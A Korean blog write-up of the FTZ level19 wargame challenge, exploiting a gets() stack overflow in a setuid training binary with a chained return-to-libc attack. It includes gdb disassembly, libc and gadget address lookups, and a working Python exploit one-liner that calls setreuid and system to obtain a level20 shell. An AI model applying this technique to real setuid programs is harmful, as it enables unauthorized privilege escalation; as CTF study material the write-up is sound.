FTZ level19

c0wb3ll ㅣ 2020. 3. 12. 03:57

FTZ level19

문제

[level19@ftz level19]$ cat hint


main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}  

[level19@ftz level19]$ gdb attackme 

처음 보고 읭? 전에 그렇게 어려운 문제 내놓고 다음 단계에서 이런 문제를 준다고??? 이러고 있었다. 근데 소스 코드를 보다 보니 상위 권한으로 바꿔주는 setreuid함수가 없다는 것을 깨닫고 아... 권한 설정부터 우리가 해줘야 하는 구나 라고 깨닫고 문제를 풀러 갔다. setreuid랑 system("/bin/bash") 두개의 함수를 실행시키려면 Chaining RTL 기법을 이용해야겠다고 생각했다.


취약점

main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}  

이 쯤 오면 이제 뭐가 문제인지 알 것 이다.

  1. gets로 입력을 받는데 한도가 없다.

따라서 buf[20]의 크기를 넘어 메모리를 덮어씌울 수 있다.


풀이

[level19@ftz level19]$ cat /etc/passwd | grep level20
level20:x:3100:3100::/home/level20:/bin/bash
[level19@ftz level19]$ 

우선 레밸 20의 uid를 확인하기 위해 /etc/passwd를 확인했다. 차례대로 유저명,비밀번호,uid,gid,사용자계정이름,사용자 홈 디렉토리, 사용자 로그인 쉘 이다. 따라서 uid는 3100인 것을 확인했다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) p setreuid
$2 = {<text variable, no debug info>} 0x420d7920 <setreuid>
(gdb) 

system 함수와 setreuid 함수의 위치를 찾아보았다.

  1. system() = 0x4203f2c0
  2. setreuid() = 0x420d7920
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:    push   ebp
0x08048441 <main+1>:    mov    ebp,esp
0x08048443 <main+3>:    sub    esp,0x28
0x08048446 <main+6>:    sub    esp,0xc
0x08048449 <main+9>:    lea    eax,[ebp-40]
0x0804844c <main+12>:    push   eax
0x0804844d <main+13>:    call   0x80482f4 <gets>
0x08048452 <main+18>:    add    esp,0x10
0x08048455 <main+21>:    sub    esp,0x8
0x08048458 <main+24>:    lea    eax,[ebp-40]
0x0804845b <main+27>:    push   eax
0x0804845c <main+28>:    push   0x80484d8
0x08048461 <main+33>:    call   0x8048324 <printf>
0x08048466 <main+38>:    add    esp,0x10
0x08048469 <main+41>:    leave  
0x0804846a <main+42>:    ret    
0x0804846b <main+43>:    nop    
0x0804846c <main+44>:    nop    
0x0804846d <main+45>:    nop    
0x0804846e <main+46>:    nop    
0x0804846f <main+47>:    nop    
End of assembler dump.
(gdb) 

메인 함수이다. gets() 함수를 통해 입력은 ebp-40부터 받는 것을 확인했다.

buf[20] + dummy[20] + sfp[4] + ret 식으로 변조하면 될 것 같다.

우리는 Chaining RTL기법을 이용하기 때문에 다음과 같이 짜면 될 것 같다.

buf[20] + dummy[20] + sfp[4] + ret(&setreuid) + ret(pop pop ret)' + 3100 + 3100 + ret(&system) + 'AAAA' + 환경변수 주소(/bin/sh) 정도로 하면 될 것 같다.

[level19@ftz level19]$ objdump -S attackme | grep pop -A2
 8048342:    5e                       pop    %esi
 8048343:    89 e1                    mov    %esp,%ecx
 8048345:    83 e4 f0                 and    $0xfffffff0,%esp
--
 804836e:    5b                       pop    %ebx
 804836f:    81 c3 5a 12 00 00        add    $0x125a,%ebx
 8048375:    8b 83 20 00 00 00        mov    0x20(%ebx),%eax
--
 80483eb:    5d                       pop    %ebp
 80483ec:    c3                       ret    
 80483ed:    8d 76 00                 lea    0x0(%esi),%esi
--
 80483f8:    5d                       pop    %ebp
 80483f9:    c3                       ret    
 80483fa:    8d b6 00 00 00 00        lea    0x0(%esi),%esi
--
 8048426:    5d                       pop    %ebp
 8048427:    c3                       ret    
 8048428:    90                       nop    
--
 8048438:    5d                       pop    %ebp
 8048439:    c3                       ret    
 804843a:    8d b6 00 00 00 00        lea    0x0(%esi),%esi
--
 804849c:    58                       pop    %eax
 804849d:    5b                       pop    %ebx
 804849e:    5d                       pop    %ebp
 804849f:    c3                       ret    

--
 80484a8:    5d                       pop    %ebp
 80484a9:    c3                       ret    
 80484aa:    8d b6 00 00 00 00        lea    0x0(%esi),%esi
--
 80484ba:    5b                       pop    %ebx
 80484bb:    81 c3 0e 11 00 00        add    $0x110e,%ebx
 80484c1:    8d 76 00                 lea    0x0(%esi),%esi
[level19@ftz level19]$

pop pop ret는 0x0804849d를 이용하면 될 것 같다.

익스코드

[level19@ftz level19]$ (python -c "print 'A'*44 + '\x20\x79\x0d\x42' + '\x9d\x84\x04\x08' + '\x1c\x0c\x00\x00' + '\x1c\x0c\x00\x00' + '\xc0\xf2\x03\x42' + '\x90'*4 + '\x6f\xff\xff\xbf'";cat) | ./attackme 
B??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y

id
uid=3100(level20) gid=3099(level19) groups=3099(level19)

안풀려서 혹시? 하고 환경변수 주소를 구하는 프로그램의 이름의 길이를 attackme와 같은 8byte로 맞추고 진행하였더니 풀렸따...... 내 궁금증을 해결해줄 이 누가 없을까 ㅠ